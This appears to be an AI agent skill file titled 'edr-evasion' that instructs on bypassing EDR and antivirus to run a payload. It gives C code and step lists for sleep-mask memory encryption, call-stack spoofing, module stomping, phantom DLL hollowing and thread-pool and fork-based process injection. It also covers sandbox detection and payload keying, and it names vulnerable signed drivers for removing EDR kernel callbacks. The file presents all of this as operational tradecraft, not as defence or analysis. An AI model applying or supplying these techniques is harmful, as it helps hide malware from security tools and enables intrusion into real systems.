Use when bypassing EDR/AV to run a payload — hook unhooking, direct/indirect syscalls, PPID spoofing, process injection, AMSI bypass, ETW patching, memory/sleep encryption, behavioral evasion
Instrucciones de origen · Vista previa de solo lectura
name
edr-evasion
description
Use when bypassing EDR/AV to run a payload — hook unhooking, direct/indirect syscalls, PPID spoofing, process injection, AMSI bypass, ETW patching, memory/sleep encryption, behavioral evasion
1. Find target process with suitable DLL loaded
2. Locate exported function that's rarely called
3. Overwrite function prologue with: push shellcode_addr; ret
4. Wait for natural execution of that function
5. No CreateRemoteThread, no APC — completely threadless
Memory Encryption (Sleep Masking)
// Encrypt beacon memory during sleep to avoid memory scanners// Cobalt Strike: set sleep_mask "true" in profile// Custom implementation:voidSleepEncrypt(DWORD sleepTime) {
// 1. Encrypt all RX sections with XOR/RC4
BYTE key[16]; GenerateRandomKey(key);
EncryptMemory(beaconBase, beaconSize, key);
// 2. Change memory protection to RW (no execute)
VirtualProtect(beaconBase, beaconSize, PAGE_READWRITE, &old);
// 3. Sleep
SleepEx(sleepTime, FALSE);
// 4. Restore RX and decrypt
VirtualProtect(beaconBase, beaconSize, PAGE_EXECUTE_READ, &old);
DecryptMemory(beaconBase, beaconSize, key);
}
Behavioral Evasion
Sandbox Detection
// Check indicators before detonation:// - Domain joined? (GetComputerNameEx)// - RAM > 4GB? (GlobalMemoryStatusEx)// - CPU cores > 2? (GetSystemInfo)// - Disk > 60GB? (GetDiskFreeSpaceEx)// - User interaction? (GetLastInputInfo — idle time)// - Known sandbox usernames? (John, sandbox, malware, virus)// - VM artifacts? (VMware tools, VBox Guest Additions)
Execution Guardrails (Keying)
// Only execute on intended target — prevents sandbox analysis// Key to: domain name, username, hostname, MAC addresschar computerName[256];
GetComputerNameA(computerName, &size);
BYTE key[32];
SHA256(computerName, strlen(computerName), key);
// Use key to decrypt payload — wrong machine = garbage output
Advanced: Sleep Obfuscation Techniques
Ekko (Timer-Based)
// Use NtCreateTimerQueue + NtSetTimer to encrypt/decrypt beacon memory// Flow: Set timer → encrypt memory → change to RW → sleep → timer fires → // change to RX → decrypt memory → resume execution
HANDLE hTimerQueue = NULL;
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)RtlCaptureContext, &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD);
// Timer callback chain:// 1. NtContinue → capture context// 2. VirtualProtect → RW// 3. SystemFunction032 (RC4 encrypt) → encrypt beacon// 4. WaitForSingleObject → actual sleep// 5. SystemFunction032 → decrypt beacon // 6. VirtualProtect → RX// 7. NtContinue → resume execution// Key: all operations happen in timer thread — main thread is suspended// EDR sees: legitimate timer callbacks, not suspicious API sequences
Zilean (APC-Based)
// Queue APCs to current thread for sleep obfuscation// Each APC performs one step of the encrypt-sleep-decrypt chain
NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)VirtualProtect,
beaconBase, beaconSize, PAGE_READWRITE);
NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)SystemFunction032,
&img, &key); // RC4 encrypt
NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)WaitForSingleObject,
hEvent, sleepTime, 0);
NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)SystemFunction032,
&img, &key); // RC4 decrypt
NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)VirtualProtect,
beaconBase, beaconSize, PAGE_EXECUTE_READ);
// Trigger APC execution
NtTestAlert();
DeathSleep (Thread Pool)
// Abuse Windows thread pool for sleep obfuscation// Register work items that handle encrypt/sleep/decrypt// Thread pool threads are inherently trusted by EDRs
TP_CALLBACK_ENVIRON callbackEnv;
TpInitializeCallbackEnviron(&callbackEnv);
// Create thread pool work items for each step
CreateThreadpoolWork(EncryptCallback, &ctx, &callbackEnv);
CreateThreadpoolWork(SleepCallback, &ctx, &callbackEnv);
CreateThreadpoolWork(DecryptCallback, &ctx, &callbackEnv);
// Submit and wait — execution flows through ntdll thread pool
SubmitThreadpoolWork(encryptWork);
WaitForThreadpoolWorkCallbacks(decryptWork, FALSE);
Gargoyle (ROP-Based Non-Executable Sleep)
// Mark all beacon memory as non-executable during sleep// Use ROP gadget to re-mark as executable and resume// Key: beacon exists only as RW data while sleeping — invisible to memory scanners// 1. Build ROP chain on stack:// VirtualProtect(beacon, size, PAGE_EXECUTE_READ, &old)// JMP beacon_entry// 2. Set timer with callback = stack pivot gadget (xchg rsp, rax; ret)// 3. VirtualProtect beacon to PAGE_READWRITE// 4. Encrypt beacon memory// 5. Sleep (WaitForSingleObject)// 6. Timer fires → stack pivot → ROP chain executes → beacon decrypted and RX
Advanced: Stack Spoofing
SilentMoonwalk (Full Stack Spoofing)
// Problem: EDRs walk the call stack on API calls — suspicious return addresses flagged// Solution: Desynchronize real return addresses from what stack walking sees// Technique 1: Frame pointer spoofing// Overwrite RBP chain to point to legitimate-looking stack frames// Stack walker follows RBP → sees clean call chain// Technique 2: Return address overwrite with restorevoidSpoofStack(PVOID targetFunc, PVOID fakeRetAddr) {
// Save real return address
PVOID realRet = _ReturnAddress();
// Overwrite return address on stack with legitimate ntdll address
*(PVOID*)(_AddressOfReturnAddress()) = fakeRetAddr;
// Call target function — EDR sees clean return address
targetFunc();
// Restore real return address
*(PVOID*)(_AddressOfReturnAddress()) = realRet;
}
// Technique 3: Synthetic frames// Build entire fake stack frames before API calls// Each frame points to a real function in ntdll/kernel32// Stack looks like: ntdll!RtlUserThreadStart → kernel32!BaseThreadInitThunk → ...
CallStackMasker
// Replace return addresses on stack before each API call// Use unwinding metadata (.pdata/.xdata) to build valid frames// Each fake frame must have:// 1. Valid return address (within a real module)// 2. Correct frame pointer alignment// 3. Matching unwind info for the moduletypedefstruct _STACK_FRAME {
PVOID ReturnAddress;
PVOID FramePointer;
PVOID ModuleBase;
} STACK_FRAME;
// Pre-compute clean frame sets from known-good modules// Swap in before syscalls, restore after
Advanced: Modern EDR Internals
ETW Threat Intelligence Provider
// Microsoft-Windows-Threat-Intelligence ETW provider// Runs at KERNEL level — CANNOT be patched from userland// Monitors: NtAllocateVirtualMemory, NtProtectVirtualMemory, NtWriteVirtualMemory,// NtMapViewOfSection, NtQueueApcThread, NtSetContextThread// What it reports to EDR kernel driver:// - RWX allocations// - W→X protection changes// - Cross-process memory writes// - APC injections// - Thread context modifications// Evasion approaches:// 1. Use functions not monitored (NtCreateSection + NtMapViewOfSection with separate views)// 2. BYOVD to unregister the ETW TI callback// 3. Use legitimate code paths (DLL loading, memory-mapped files)// 4. Avoid monitored API patterns entirely
Kernel Callbacks
// EDR kernel drivers register callbacks that fire on:// PsSetCreateProcessNotifyRoutineEx — process creation// PsSetCreateThreadNotifyRoutine — thread creation // PsSetLoadImageNotifyRoutine — DLL/image loading// ObRegisterCallbacks — handle operations (open process/thread)// CmRegisterCallback — registry operations// FltRegisterFilter — filesystem minifilter (file operations)// Callback removal via BYOVD:// 1. Load vulnerable signed driver (RTCore64.sys, dbutil_2_3.sys)// 2. Use driver's read/write primitives to:// a. Walk PspCreateProcessNotifyRoutine array// b. Find EDR's callback entry// c. Zero it out or replace with no-op// Known BYOVD targets (signed, vulnerable):// RTCore64.sys — MSI Afterburner (arbitrary R/W)// dbutil_2_3.sys — Dell BIOS utility (arbitrary R/W) // gdrv.sys — GIGABYTE driver (arbitrary R/W)// ene.sys — ENE Technology (arbitrary R/W)// WinRing0x64.sys — OpenHardwareMonitor (arbitrary R/W)
Minifilter Evasion
// EDR filesystem minifilters intercept all file I/O// They sit at specific altitudes in the filter stack// Evasion techniques:// 1. Direct NTFS parsing — bypass filter stack entirely// Open \\.\PhysicalDrive0, read MFT, parse NTFS structures// 2. Reparse point abuse — redirect file operations// 3. Symbolic link manipulation// 4. Transaction rollback (TxF) — write in transaction, EDR sees, rollback, // then write again without transaction flag// Altitude ranges:// 320000-329999: Anti-Virus filters// 360000-389999: Activity monitors (most EDRs here)// Check installed minifilters: fltMC
Advanced: Hardware Breakpoint Hooking
// Use debug registers (DR0-DR3) instead of inline hooks// Advantage: no code modification — invisible to integrity checks// Set hardware breakpoint on target function
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(hThread, &ctx);
ctx.Dr0 = (DWORD64)targetFunction; // breakpoint address
ctx.Dr7 = 0x1; // enable DR0, break on execution
SetThreadContext(hThread, &ctx);
// Register VEH to handle the breakpoint
AddVectoredExceptionHandler(1, HookHandler);
LONG CALLBACK HookHandler(PEXCEPTION_POINTERS pExceptionInfo) {
if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
if (pExceptionInfo->ExceptionRecord->ExceptionAddress == targetFunction) {
// Redirect execution or modify arguments
pExceptionInfo->ContextRecord->Rip = (DWORD64)hookFunction;
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
// Advantage over inline hooks:// - No code modification (passes integrity checks)// - Works on read-only pages// - Limited to 4 breakpoints (DR0-DR3)
Advanced: Module Stomping & Phantom DLL Hollowing
Module Stomping
// Overwrite .text section of a loaded legitimate DLL with shellcode// Process loads real DLL → overwrite its code → execute// EDR sees: code executing from legitimate module address range// 1. Load benign DLL (e.g., amsi.dll, xpsservices.dll)
HMODULE hModule = LoadLibraryA("xpsservices.dll");
// 2. Find .text section
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dos->e_lfanew);
PIMAGE_SECTION_HEADER text = IMAGE_FIRST_SECTION(nt);
// 3. Make writable, overwrite with shellcode
VirtualProtect((LPVOID)((BYTE*)hModule + text->VirtualAddress),
text->Misc.VirtualSize, PAGE_READWRITE, &oldProtect);
memcpy((LPVOID)((BYTE*)hModule + text->VirtualAddress), shellcode, scSize);
VirtualProtect((LPVOID)((BYTE*)hModule + text->VirtualAddress),
text->Misc.VirtualSize, PAGE_EXECUTE_READ, &oldProtect);
// 4. Execute — return address appears within legitimate DLL
Phantom DLL Hollowing
// Map a DLL as a section, modify it, execute — never touches disk// Avoids LoadLibrary hooks and file system minifilters// 1. Create section from DLL on disk (read-only mapping)
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\amsi.dll", ...);
HANDLE hSection;
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL,
PAGE_READONLY, SEC_IMAGE, hFile);
// 2. Map writable view (local)
PVOID localView = NULL;
SIZE_T viewSize = 0;
NtMapViewOfSection(hSection, GetCurrentProcess(), &localView,
0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_READWRITE);
// 3. Overwrite .text with shellcode in local viewmemcpy((BYTE*)localView + textRVA, shellcode, scSize);
// 4. Map executable view (separate mapping of same section)
PVOID execView = NULL;
NtMapViewOfSection(hSection, GetCurrentProcess(), &execView,
0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_EXECUTE_READ);
// 5. Execute from execView — appears as amsi.dll in memory
Advanced: Process Injection Techniques (2024-2026)
Pool Party (Thread Pool Injection)
// Abuse Windows Thread Pool for code execution in remote process// 7 variants targeting different TP structures:// 1. TP_WORK — worker item insertion// 2. TP_TIMER — timer callback hijack// 3. TP_WAIT — wait callback hijack// 4. TP_IO — I/O completion callback// 5. TP_ALPC — ALPC callback// 6. TP_JOB — job notification callback// 7. TP_DIRECT — direct insertion// Variant 1: Worker factory injection// Write shellcode to remote process// Hijack TP_WORK callback to point to shellcode// Submit work item → thread pool executes shellcode// No CreateRemoteThread, no APC — pure thread pool abuse
Mockingjay (RWX Section Injection)
// Find DLLs with existing RWX sections (no VirtualProtect needed)// Write shellcode directly into RWX section of target process// No memory allocation, no protection changes — minimal EDR signals// Known DLLs with RWX sections:// msys-2.0.dll (MSYS2/Git for Windows)// cygwin1.dll (Cygwin)// Steps:// 1. Load DLL with RWX section into target process// 2. Write shellcode into the RWX section// 3. Create thread at RWX address (or hijack existing)// Only 2 API calls needed vs 6+ for traditional injection
Dirty Vanity (Process Forking)
// Use NtCreateProcessEx with PROCESS_CREATE_FLAGS_FORK// Forks current process including all memory — snapshot-based injection// Child process is exact copy, including injected code// EDR sees: process creation (not injection), child inherits parent's reputation
NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL,
GetCurrentProcess(), // parent = self
PROCESS_CREATE_FLAGS_FORK, NULL, NULL, NULL, 0);
// Child process starts with copy of all memory// Shellcode already in memory from parent — no cross-process write needed
Windows 11 24H2 Considerations
AMSI heap scanning is active — allocate with PAGE_NOACCESS, decrypt in place, then switch to PAGE_EXECUTE_READ
Smart App Control may block outbound connections from unsigned processes
Kernel-mode ETW (Threat Intelligence) cannot be patched from userland
Enhanced stack tracing in newer EDRs checks full call stack, not just return address
Kernel Data Protection (KDP) prevents modification of kernel data structures via BYOVD on VBS-enabled systems
User-mode CET shadow stacks detect ROP chains in userland
Process mitigation policies can block DLL injection, dynamic code, and child processes